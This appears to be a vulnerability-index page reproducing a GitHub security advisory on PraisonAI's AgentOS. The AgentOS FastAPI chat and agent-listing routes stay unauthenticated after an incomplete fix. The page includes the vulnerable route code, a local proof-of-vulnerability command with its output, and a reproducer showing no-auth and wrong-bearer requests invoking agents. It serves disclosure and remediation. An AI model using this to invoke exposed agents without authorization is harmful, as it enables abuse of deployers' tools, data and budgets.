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Advisory · GitHub · PyPI · praisonai

GHSA-892R-P3JQ-JP24

PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation

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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición154 dDesde la divulgación, 18 jun 2026, 8:57 a. m.
Detección151 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 4.6.59
Monitoreo
Detectada
17 jun 26
18 jun 26
23 jul 26
17 nov 26
19 nov 26
17 jun 26
26 jul 26
3 sept 26
12 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 4.6.59 praisonai · -1 d desde divulgación
Divulgación Publicada GHSA-892R-P3JQ-JP24 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

AgentOS remains unauthenticated after GHSA-pm96 patched version and allows remote agent invocation

Summary

PraisonAI's `AgentOS` FastAPI deployment surface remains unauthenticated in
current main and in releases after the published patched version for
`GHSA-pm96-6xpr-978x` / `CVE-2026-40151`.

The public AgentOS advisory is published as an instruction-disclosure issue
with affected versions `< 4.5.128` and patched version `4.5.128`. However,
`v4.5.128`, latest release `v4.6.57`, and current main still register
`GET /api/agents` and `POST /api/chat` without authentication. The chat route
directly calls `agent.chat(request.message)`. No-auth and wrong-bearer requests
both execute the deployed agent.

This is broader than passive metadata disclosure. In any deployment where
AgentOS wraps agents with tools, private context, memory, API integrations, or
cost-bearing model calls, an unauthenticated reachable client can drive those
agents.

Affected Product

  • Repository: `MervinPraison/PraisonAI`
  • Package: `praisonai`
  • Component: `src/praisonai/praisonai/app/agentos.py`
  • Config component: `src/praisonai-agents/praisonaiagents/app/config.py`
  • Public advisory incomplete-fix reference: `GHSA-pm96-6xpr-978x` /

Confirmed affected dynamically:

  • `v4.5.126`
  • `v4.5.128` (published patched version for `GHSA-pm96-6xpr-978x`)
  • `v4.6.9`
  • `v4.6.10`
  • `v4.6.56`
  • `v4.6.57`
  • current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`

Static source review found the same unauthenticated route pattern and
`0.0.0.0` default in `v4.2.1`.

Suggested affected range: `>= 4.2.1, <= 4.6.57`.

Root Cause

`AgentOSConfig` / `AgentAppConfig` defaults the deployment host to all
interfaces and has no authentication fields:

name: str = "PraisonAI App"
host: str = "0.0.0.0"
port: int = 8000
api_prefix: str = "/api"

`AgentOS._register_routes()` registers public agent metadata and chat routes
without middleware, dependency, API key check, bearer-token check, or startup
fail-closed guard:

@app.get(f"{self.config.api_prefix}/agents")
async def list_agents():
    return {"agents": [...]}

@app.post(f"{self.config.api_prefix}/chat", response_model=ChatResponse)
async def chat(request: ChatRequest):
    ...
    response = agent.chat(request.message)

A wrong `Authorization` header is ignored because the route does not inspect it.

Current main also has a root-export bug where `from praisonai import AgentOS`
raises `ImportError`, but this does not mitigate the issue. The same class
remains reachable through `from praisonai import AgentApp` and
`from praisonai.app import AgentOS`.

Why This Is Not Intended Behavior

PraisonAI's security documentation says API servers were hardened so anonymous
requests return `401` and default binding changed from `0.0.0.0` to
`127.0.0.1` after the prior unauthenticated API server class.

The API Server Authentication docs say bearer auth is enabled by default,
disabling auth is not recommended for production, and `0.0.0.0` should be used
only behind an authenticating proxy.

The local PoV includes a hardened sibling control for the generated deploy API
on current main. It returns:

  • no auth: `401`
  • wrong bearer: `401`
  • correct bearer: `200`

AgentOS remains outside that control plane and still accepts no-auth and
wrong-bearer `/api/chat` requests.

Local PoV

The PoV is local-only. It uses FastAPI's in-process test client, a stub agent,
and a temporary file side effect. It does not start a network listener, call an
LLM provider, or contact any external service.

Command:

env PYTHONPATH="artifacts/repos/praisonai-current/src/praisonai:artifacts/repos/praisonai-current/src/praisonai-agents" \
  uv run --with fastapi --with httpx --with flask --with flask-cors \
    --with pydantic --with typing-extensions --with rich --with python-dotenv \
    submission-bundle/praisonai-prai-cand-007-agentos-incomplete-auth-fix/poc/prai_cand_007_agentos_incomplete_auth_fix.py \
    --repo artifacts/repos/praisonai-current \
    --label current-head

Current-head result summary:

{
  "describe": "v4.6.57-4-g2f9677ab",
  "head": "2f9677abb2ea68eab864ee8b6a828fd0141612e1",
  "agentos_vulnerable": true,
  "entrypoints": [
    {
      "entrypoint": "agentapp_alias",
      "statuses": [200, 200, 200],
      "side_effects": ["no-auth-marker", "wrong-bearer-marker"]
    },
    {
      "entrypoint": "direct_agentos",
      "statuses": [200, 200, 200],
      "side_effects": ["no-auth-marker", "wrong-bearer-marker"]
    }
  ],
  "deploy_api_control": {
    "control_passed": true,
    "statuses": [401, 401, 200]
  }
}

The three AgentOS statuses are for:

  • unauthenticated `GET /api/agents`;
  • unauthenticated `POST /api/chat`;
  • wrong-bearer `POST /api/chat`.

The side-effect list proves both unauthenticated chat requests invoked the
agent method.

Minimal inline reproducer:

from pathlib import Path
from tempfile import TemporaryDirectory

from fastapi.testclient import TestClient
from praisonai import AgentApp
from praisonaiagents import AgentOSConfig

class StubAgent:
    name = "pov_agentos_agent"
    role = "tester"
    instructions = "private instruction marker"

    def __init__(self, out):
        self.out = out

    def chat(self, message):
        self.out.write_text(self.out.read_text() + message + "\n")
        return "PRAI_CAND_007_AGENTOS_EXECUTED:" + message

with TemporaryDirectory() as tmp:
    side_effect = Path(tmp) / "side_effects.txt"
    side_effect.write_text("")
    app = AgentApp(
        agents=[StubAgent(side_effect)],
        config=AgentOSConfig(host="0.0.0.0", port=8000),
    )
    client = TestClient(app.get_app())

    assert client.get("/api/agents").status_code == 200
    assert client.post("/api/chat", json={"message": "no-auth"}).status_code == 200
    assert client.post(
        "/api/chat",
        headers={"Authorization": "Bearer definitely-wrong"},
        json={"message": "wrong-bearer"},
    ).status_code == 200
    assert side_effect.read_text().splitlines() == ["no-auth", "wrong-bearer"]

Version Sweep

| Target | Result |
| --- | --- |
| `v4.5.126` | vulnerable |
| `v4.5.128` | vulnerable |
| `v4.6.9` | vulnerable |
| `v4.6.10` | vulnerable |
| `v4.6.56` | vulnerable; generated deploy API control returns `401/401/200` |
| `v4.6.57` | vulnerable; generated deploy API control returns `401/401/200` |
| current `2f9677abb` | vulnerable; generated deploy API control returns `401/401/200` |

Evidence files are retained locally under the bundle's `evidence/` directory
and can be provided if useful.

Duplicate / Incomplete-Fix Notes

This report is related to `GHSA-pm96-6xpr-978x` / `CVE-2026-40151`. The
published advisory describes AgentOS instruction disclosure and lists
`4.5.128` as patched. It also mentions unauthenticated `/api/chat` as a chained
instruction-extraction path.

The current report should be treated as an incomplete fix / affected-range
correction with a broader demonstrated impact:

  • the published patched version `v4.5.128` still reproduces;
  • latest release `v4.6.57` still reproduces;
  • current main still reproduces;
  • the PoV proves unauthorized agent invocation and side effects, not only

This is distinct from private `PRAI-CAND-003` / `GHSA-x8cv-xmq7-p8xp`, which
covers `praisonaiagents.AgentTeam.launch()` routes. This report covers
`praisonai.app.AgentOS` and `AgentApp` alias routes.

Impact

If an operator exposes an AgentOS app on a reachable interface, any client that
can reach it can:

  • enumerate deployed agents through `GET /api/agents`;
  • read agent names, roles, and instruction snippets;
  • invoke the default agent or a named agent through `POST /api/chat`;
  • trigger downstream tools, private context reads, memory accesses, API
  • consume model/API budget through repeated invocation.

The exact downstream impact depends on the deployed agents. The framework-level
boundary failure is that a production deployment surface exposes agent control
without authentication and defaults to binding on all interfaces.

Suggested Fix

Use the same security model already applied to generated API deployments:

  • add authentication fields to `AgentOSConfig` / `AgentAppConfig`;
  • default auth to enabled;
  • default bind host to `127.0.0.1`;
  • reject no-auth and wrong-bearer requests for `GET /api/agents` and
  • fail closed for non-loopback binds unless auth is configured or an explicit
  • avoid returning instruction text from unauthenticated metadata endpoints;
  • add regression tests for no auth, wrong bearer, correct bearer, and external

Maintainers can either update `GHSA-pm96-6xpr-978x` with the corrected affected
range and broader impact or publish a separate incomplete-fix advisory.

Suggested Severity

Suggested severity: Critical.

The Critical score matches the unauthenticated agent-control model: network
attacker, low complexity, no privileges, no user interaction, and high
deployment-dependent impact when agents are connected to tools, private data,
or cost-bearing services. If maintainers score only a minimal no-tool demo
agent, the impact may be lower, but the current default framework behavior is
still unauthenticated agent invocation.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
praisonai≥ 4.2.1 < 4.6.59
4.2.1
4.6.59
4.7.26
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipraisonai
Corregida 4.6.59 -1 d 4.7.26 no afectada
Versiones corregidas4.6.59
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-892r-p3jq-jp24
Otrahttps://github.com/MervinPraison/PraisonAI

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